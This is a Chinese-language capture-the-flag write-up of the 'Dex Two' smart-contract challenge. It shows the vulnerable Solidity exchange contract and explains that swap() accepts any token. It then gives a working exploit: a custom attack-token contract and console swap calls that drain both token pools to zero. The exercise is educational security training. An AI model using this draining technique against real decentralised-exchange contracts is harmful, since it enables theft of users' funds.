Skip to main content

Dex Two

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract DexTwo is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

题目要求

题目要求将合约里的两个 token 数量全部取出,允许自己发行自定义 token

题目分析

swap方法中并没有限制必须使用合约初始化提供的两个 token。那么我们可以自己发一个 token,根据价格计算公式将合约中的两个 Token 通过swap方法取出。 根据计算公式可以得到以下兑换步骤.设token3是我们自己发行的 token

token1token2token3
initializepool1001001
player10103
token3->token1: 1pool01002
player100102
token3->token2: 2pool004
player1001000

主要是利用价格计算公式

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

攻击步骤

  1. 发行自定义token
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/token/ERC20/ERC20.sol";

contract AttackToken is ERC20("AttackToken","AT") {
constructor() public {
_mint(msg.sender,4);
}
}

部署后得到地址: 0x6D9aA453423De833D878afE33CF0031046f50267

给题目实例地址转账 1 个自己发行的token(注意,要只转 1 个,否则下面的兑换数量就需要调整)

  1. 调用自己发行tokenapprove方法,授权题目合约可以转账自己发行的token。授权数量只要大于 3 即可
  2. 通过以下步骤调用题目实例合约
// 定义token变量
const token1 = await contract.token1()
const token2 = await contract.token2()
const token3 = "0x6D9aA453423De833D878afE33CF0031046f50267"

// 分别调用swap方法
await contract.swap(token3,token1,1) // 调用完以后池子里token3的数量为2,所以下次调用需要用两个token2来兑换token2
await contract.swap(token3,token2,2)

// 分别查看执行完池子中token1和token2的数量
(await contract.balanceOf(token1,instance)).toString() => 0
(await contract.balanceOf(token2,instance)).toString() => 0